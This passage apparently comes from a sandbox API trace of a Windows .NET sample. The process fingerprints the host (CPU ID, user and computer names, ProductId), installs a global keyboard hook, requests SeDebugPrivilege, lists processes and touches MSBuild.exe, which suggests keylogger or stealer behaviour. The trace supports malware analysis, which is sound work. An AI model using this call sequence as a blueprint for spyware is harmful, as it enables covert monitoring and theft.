ppvObject=0x1ddbdc*=0x8793dc) returned 0x0 [0127.716] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1ddc0c | out: pAptType=0x1ddc0c*=3) returned 0x0 [0127.716] IUnknown:Release (This=0x8793dc) returned 0x1 [0127.716] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddbcc | out: ppvObject=0x1ddbcc*=0x8db3dc) returned 0x0 [0127.716] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8db3dc, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1ddbd4 | out: pCid=0x1ddbd4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.716] WbemLocator:IUnknown:Release (This=0x8db3dc) returned 0x3 [0127.716] CoGetContextToken (in: pToken=0x1ddbdc | out: pToken=0x1ddbdc) returned 0x0 [0127.716] WbemLocator:IUnknown:AddRef (This=0x8db47c) returned 0x4 [0127.716] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddc50 | out: ppvObject=0x1ddc50*=0x8db464) returned 0x0 [0127.716] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x4 [0127.717] WbemLocator:IRpcOptions:Query (in: This=0x8db464, pPrx=0x8db47c, dwProperty=2, pdwValue=0x1ddc74 | out: pdwValue=0x1ddc74) returned 0x80004002 [0127.717] WbemLocator:IUnknown:Release (This=0x8db464) returned 0x3 [0127.717] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x2 [0127.717] CoGetContextToken (in: pToken=0x1de050 | out: pToken=0x1de050) returned 0x0 [0127.717] CoGetContextToken (in: pToken=0x1de010 | out: pToken=0x1de010) returned 0x0 [0127.717] WbemLocator:IUnknown:AddRef (This=0x8db47c) returned 0x3 [0127.717] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x1de08c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1de088 | out: ppvObject=0x1de088*=0x5075c0c) returned 0x0 [0127.717] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x3 [0127.717] IUnknown:Release (This=0x5075c0c) returned 0x2 [0127.717] IUnknown:Release (This=0x5075c0c) returned 0x1 [0127.721] CoGetContextToken (in: pToken=0x1de644 | out: pToken=0x1de644) returned 0x0 [0127.721] CoGetContextToken (in: pToken=0x1de604 | out: pToken=0x1de604) returned 0x0 [0127.721] WbemLocator:IUnknown:AddRef (This=0x8db47c) returned 0x2 [0127.721] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x1de680*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1de67c | out: ppvObject=0x1de67c*=0x5075c0c) returned 0x0 [0127.721] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x2 [0127.721] IUnknown:AddRef (This=0x5075c0c) returned 0x3 [0127.721] IEnumWbemClassObject:Reset (This=0x5075c0c) returned 0x0 [0127.730] IUnknown:Release (This=0x5075c0c) returned 0x2 [0127.733] CoGetContextToken (in: pToken=0x1de52c | out: pToken=0x1de52c) returned 0x0 [0127.733] IUnknown:AddRef (This=0x5075c0c) returned 0x3 [0127.733] IEnumWbemClassObject:Next (in: This=0x5075c0c, lTimeout=-1, uCount=0x1, apObjects=0x887780, puReturned=0x26dfc30 | out: apObjects=0x887780*=0x5075c48, puReturned=0x26dfc30*=0x1) returned 0x0 [0129.062] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddb38 | out: ppvObject=0x1ddb38*=0x5075c48) returned 0x0 [0129.062] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ddaf4 | out: ppvObject=0x1ddaf4*=0x0) returned 0x80004002 [0129.064] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1dd9e8 | out: ppvObject=0x1dd9e8*=0x0) returned 0x80004002 [0129.064] IUnknown:AddRef (This=0x5075c48) returned 0x3 [0129.064] CoGetContextToken (in: pToken=0x1dd980 | out: pToken=0x1dd980) returned 0x0 [0129.064] CoGetContextToken (in: pToken=0x1dd944 | out: pToken=0x1dd944) returned 0x0 [0129.064] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd978 | out: ppvObject=0x1dd978*=0x8793dc) returned 0x0 [0129.064] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1dd9a8 | out: pAptType=0x1dd9a8*=3) returned 0x0 [0129.064] IUnknown:Release (This=0x8793dc) returned 0x1 [0129.064] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd968 | out: ppvObject=0x1dd968*=0x5075c4c) returned 0x0 [0129.065] IMarshal:GetUnmarshalClass (in: This=0x5075c4c, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1dd970 | out: pCid=0x1dd970*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0129.065] IUnknown:Release (This=0x5075c4c) returned 0x3 [0129.065] CoGetContextToken (in: pToken=0x1dd978 | out: pToken=0x1dd978) returned 0x0 [0129.065] IUnknown:AddRef (This=0x5075c48) returned 0x4 [0129.065] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9ec | out: ppvObject=0x1dd9ec*=0x0) returned 0x80004002 [0129.065] IUnknown:Release (This=0x5075c48) returned 0x3 [0129.065] IUnknown:Release (This=0x5075c48) returned 0x2 [0129.065] CoGetContextToken (in: pToken=0x1dddd8 | out: pToken=0x1dddd8) returned 0x0 [0129.065] CoGetContextToken (in: pToken=0x1ddd98 | out: pToken=0x1ddd98) returned 0x0 [0129.065] IUnknown:AddRef (This=0x5075c48) returned 0x3 [0129.065] IUnknown:QueryInterface (in: This=0x5075c48, riid=0x1dde14*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1dde10 | out: ppvObject=0x1dde10*=0x5075c48) returned 0x0 [0129.066] IUnknown:Release (This=0x5075c48) returned 0x3 [0129.066] IUnknown:Release (This=0x5075c48) returned 0x2 [0129.066] IUnknown:Release (This=0x5075c48) returned 0x1 [0129.066] IUnknown:Release (This=0x5075c0c) returned 0x2 [0129.066] CoGetContextToken (in: pToken=0x1de6c8 | out: pToken=0x1de6c8) returned 0x0 [0129.066] IUnknown:AddRef (This=0x5075c48) returned 0x2 [0129.067] IWbemClassObject:Get (in: This=0x5075c48, wszName="__GENUS", lFlags=0, pVal=0x1de744*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1de7f8*=0, plFlavor=0x1de7f4*=0 | out: pVal=0x1de744*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1de7f8*=3, plFlavor=0x1de7f4*=64) returned 0x0 [0129.067] IWbemClassObject:Get (in: This=0x5075c48, wszName="__PATH", lFlags=0, pVal=0x1de724*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1de7dc*=0, plFlavor=0x1de7d8*=0 | out: pVal=0x1de724*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x1de7dc*=8, plFlavor=0x1de7d8*=64) returned 0x0 [0129.067] SysStringLen (param_1="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x36 [0129.068] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x30c [0129.068] GetLastError () returned 0x0 [0129.068] SetEvent (hEvent=0x284) returned 1 [0129.068] GetLastError () returned 0x0 [0129.068] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1de740*=0x30c, lpdwindex=0x1de4f8 | out: lpdwindex=0x1de4f8) returned 0x0 [0129.071] CoGetContextToken (in: pToken=0x1de590 | out: pToken=0x1de590) returned 0x0 [0129.071] CoGetContextToken (in: pToken=0x1de550 | out: pToken=0x1de550) returned 0x0 [0129.072] WbemDefPath:IUnknown:AddRef (This=0x506e1b8) returned 0x2 [0129.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x1de5cc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5c8 | out: ppvObject=0x1de5c8*=0x506e1b8) returned 0x0 [0129.072] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x2 [0129.072] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x1 [0129.072] CoGetContextToken (in: pToken=0x1de610 | out: pToken=0x1de610) returned 0x0 [0129.072] CoGetContextToken (in: pToken=0x1de5d0 | out: pToken=0x1de5d0) returned 0x0 [0129.072] WbemDefPath:IUnknown:AddRef (This=0x506e1b8) returned 0x2 [0129.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x506e1b8, riid=0x1de64c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de648 | out: ppvObject=0x1de648*=0x506e1b8) returned 0x0 [0129.072] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x2 [0129.072] WbemDefPath:IWbemPath:SetText (This=0x506e1b8, uMode=0x4, pszPath="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0129.072] WbemDefPath:IUnknown:Release (This=0x506e1b8) returned 0x1 [0129.072] CoGetContextToken (in: pToken=0x1de5fc | out: pToken=0x1de5fc) returned 0x0 [0129.072] CoGetContextToken (in: pToken=0x1de5bc | out: pToken=0x1de5bc) returned 0x0 [0129.072] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de638*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de634 | out: ppvObject=0x1de634*=0x506daa8) returned 0x0 [0129.073] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x1de7b0 | out: puCount=0x1de7b0*=0x2) returned 0x0 [0129.073] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.073] CoGetContextToken (in: pToken=0x1de5ec | out: pToken=0x1de5ec) returned 0x0 [0129.073] CoGetContextToken (in: pToken=0x1de5ac | out: pToken=0x1de5ac) returned 0x0 [0129.073] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de628*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de624 | out: ppvObject=0x1de624*=0x506daa8) returned 0x0 [0129.073] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.073] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de7ac*=0x0, pszText=0x0 | out: puBuffLength=0x1de7ac*=0xf, pszText=0x0) returned 0x0 [0129.073] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.073] CoGetContextToken (in: pToken=0x1de5ec | out: pToken=0x1de5ec) returned 0x0 [0129.073] CoGetContextToken (in: pToken=0x1de5ac | out: pToken=0x1de5ac) returned 0x0 [0129.073] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de628*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de624 | out: ppvObject=0x1de624*=0x506daa8) returned 0x0 [0129.073] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.074] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.074] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.074] CoGetContextToken (in: pToken=0x1de5e4 | out: pToken=0x1de5e4) returned 0x0 [0129.074] CoGetContextToken (in: pToken=0x1de5a4 | out: pToken=0x1de5a4) returned 0x0 [0129.074] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de620*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de61c | out: ppvObject=0x1de61c*=0x506daa8) returned 0x0 [0129.074] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x1de798 | out: puCount=0x1de798*=0x2) returned 0x0 [0129.074] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.074] CoGetContextToken (in: pToken=0x1de5d4 | out: pToken=0x1de5d4) returned 0x0 [0129.074] CoGetContextToken (in: pToken=0x1de594 | out: pToken=0x1de594) returned 0x0 [0129.074] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de610*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de60c | out: ppvObject=0x1de60c*=0x506daa8) returned 0x0 [0129.074] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.074] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de794*=0x0, pszText=0x0 | out: puBuffLength=0x1de794*=0xf, pszText=0x0) returned 0x0 [0129.074] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.075] CoGetContextToken (in: pToken=0x1de5d4 | out: pToken=0x1de5d4) returned 0x0 [0129.075] CoGetContextToken (in: pToken=0x1de594 | out: pToken=0x1de594) returned 0x0 [0129.075] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0129.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de610*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de60c | out: ppvObject=0x1de60c*=0x506daa8) returned 0x0 [0129.075] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0129.075] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de794*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de794*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.075] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0129.075] IWbemClassObject:Get (in: This=0x5075c48, wszName="processorID", lFlags=0, pVal=0x1de754*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e0574*=0, plFlavor=0x26e0578*=0 | out: pVal=0x1de754*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x26e0574*=8, plFlavor=0x26e0578*=0) returned 0x0 [0129.075] SysStringLen (param_1="0F8BFBFF00050654") returned 0x10 [0129.075] IWbemClassObject:Get (in: This=0x5075c48, wszName="processorID", lFlags=0, pVal=0x1de758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e0574*=8, plFlavor=0x26e0578*=0 | out: pVal=0x1de758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x26e0574*=8, plFlavor=0x26e0578*=0) returned 0x0 [0129.075] SysStringLen (param_1="0F8BFBFF00050654") returned 0x10 [0129.076] CoGetContextToken (in: pToken=0x1de52c | out: pToken=0x1de52c) returned 0x0 [0129.076] IUnknown:AddRef (This=0x5075c0c) returned 0x3 [0129.076] IEnumWbemClassObject:Next (in: This=0x5075c0c, lTimeout=-1, uCount=0x1, apObjects=0x887780, puReturned=0x26dfc30 | out: apObjects=0x887780*=0x0, puReturned=0x26dfc30*=0x0) returned 0x1 [0129.094] IUnknown:Release (This=0x5075c0c) returned 0x2 [0129.095] CoGetContextToken (in: pToken=0x1de680 | out: pToken=0x1de680) returned 0x0 [0129.095] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x1 [0129.095] IUnknown:Release (This=0x5075c0c) returned 0x0 [0129.316] GetUserNameW (in: lpBuffer=0x887768, pcbBuffer=0x26e0e20 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x26e0e20) returned 1 [0129.318] GetComputerNameW (in: lpBuffer=0x887768, nSize=0x26e10ac | out: lpBuffer="XDUWTFONO", nSize=0x26e10ac) returned 1 [0129.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1de810 | out: phkResult=0x1de810*=0x314) returned 0x0 [0129.346] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductId", lpReserved=0x0, lpType=0x1de854, lpData=0x0, lpcbData=0x1de850*=0x0 | out: lpType=0x1de854*=0x0, lpData=0x0, lpcbData=0x1de850*=0x0) returned 0x2 [0129.629] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75a40000 [0129.631] GetProcAddress (hModule=0x75a40000, lpProcName="DefWindowProcW") returned 0x77af25dd [0129.632] GetStockObject (i=5) returned 0x1900015 [0129.632] GetLastError () returned 0xcb [0129.633] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0129.664] CoTaskMemAlloc (cb=0x4c) returned 0x8c2110 [0129.664] RegisterClassW (lpWndClass=0x887780) returned 0xc129 [0129.665] GetLastError () returned 0xcb [0129.665] CoTaskMemFree (pv=0x8c2110) [0129.665] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0129.667] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2014c [0129.669] SetWindowLongW (hWnd=0x2014c, nIndex=-4, dwNewLong=2007967197) returned 13112530 [0129.671] GetWindowLongW (hWnd=0x2014c, nIndex=-4) returned 2007967197 [0129.672] GetCurrentProcess () returned 0xffffffff [0129.672] GetCurrentThread () returned 0xfffffffe [0129.672] GetCurrentProcess () returned 0xffffffff [0129.674] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1de07c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1de07c*=0x318) returned 1 [0129.674] GetLastError () returned 0x0 [0129.676] GetCurrentThreadId () returned 0x71c [0129.678] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ddfe8 | out: phkResult=0x1ddfe8*=0x31c) returned 0x0 [0129.678] RegQueryValueExW (in: hKey=0x31c, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1de030, lpData=0x0, lpcbData=0x1de02c*=0x0 | out: lpType=0x1de030*=0x0, lpData=0x0, lpcbData=0x1de02c*=0x0) returned 0x2 [0129.678] RegQueryValueExW (in: hKey=0x31c, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1de030, lpData=0x0, lpcbData=0x1de02c*=0x0 | out: lpType=0x1de030*=0x0, lpData=0x0, lpcbData=0x1de02c*=0x0) returned 0x2 [0129.678] RegCloseKey (hKey=0x31c) returned 0x0 [0129.679] SetWindowLongW (hWnd=0x2014c, nIndex=-4, dwNewLong=13112074) returned 2007967197 [0129.679] GetWindowLongW (hWnd=0x2014c, nIndex=-4) returned 13112074 [0129.679] GetWindowLongW (hWnd=0x2014c, nIndex=-16) returned 79691776 [0129.732] CallWindowProcW (lpPrevWndFunc=0x77af25dd, hWnd=0x2014c, Msg=0x24, wParam=0x0, lParam=0x1de2c4) returned 0x0 [0129.732] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc12a [0129.732] CallWindowProcW (lpPrevWndFunc=0x77af25dd, hWnd=0x2014c, Msg=0x81, wParam=0x0, lParam=0x1de2b8) returned 0x1 [0129.734] CallWindowProcW (lpPrevWndFunc=0x77af25dd, hWnd=0x2014c, Msg=0x83, wParam=0x0, lParam=0x1de2a4) returned 0x0 [0129.739] CallWindowProcW (lpPrevWndFunc=0x77af25dd, hWnd=0x2014c, Msg=0x1, wParam=0x0, lParam=0x1de2b8) returned 0x0 [0129.739] GetLastError () returned 0x0 [0129.782] SetWindowsHookExW (idHook=13, lpfn=0xc8162a, hmod=0x400000, dwThreadId=0x0) returned 0x20189 [0129.889] GetCurrentProcessId () returned 0x718 [0129.893] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1de7f8 | out: lpLuid=0x1de7f8*(LowPart=0x14, HighPart=0)) returned 1 [0129.903] GetLastError () returned 0x0 [0129.904] GetCurrentProcess () returned 0xffffffff [0129.904] GetLastError () returned 0x0 [0129.906] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1de7f4 | out: TokenHandle=0x1de7f4*=0x328) returned 1 [0129.906] GetLastError () returned 0x0 [0129.907] AdjustTokenPrivileges (in: TokenHandle=0x328, DisableAllPrivileges=0, NewState=0x26e3364*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.907] GetLastError () returned 0x514 [0129.908] CloseHandle (hObject=0x328) returned 1 [0129.908] GetLastError () returned 0x514 [0129.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x36b6df0, Length=0x20000, ResultLength=0x1defa4 | out: SystemInformation=0x36b6df0, ResultLength=0x1defa4*=0x7fa8) returned 0x0 [0129.976] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x328 [0129.976] GetLastError () returned 0x0 [0129.976] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x32c [0129.976] GetLastError () returned 0x0 [0130.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x1de928, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0130.049] GetLastError () returned 0x0 [0130.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x1de8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0130.049] GetLastError () returned 0x0 [0130.050] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x1de8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0130.050] GetLastError () returned 0x0 [0130.238] GetVersionExW (in: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0130.238] GetLastError () returned 0x0 [0130.239] GetCurrentProcess () returned 0xffffffff [0130.239] GetLastError () returned 0x3f0 [0130.240] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea74 | out: TokenHandle=0x1dea74*=0x330) returned 1 [0130.240] GetLastError () returned 0x3f0 [0130.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1de60c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0130.244] GetLastError () returned 0x0 [0130.245] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1deab4 | out: lpFileInformation=0x1deab4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, 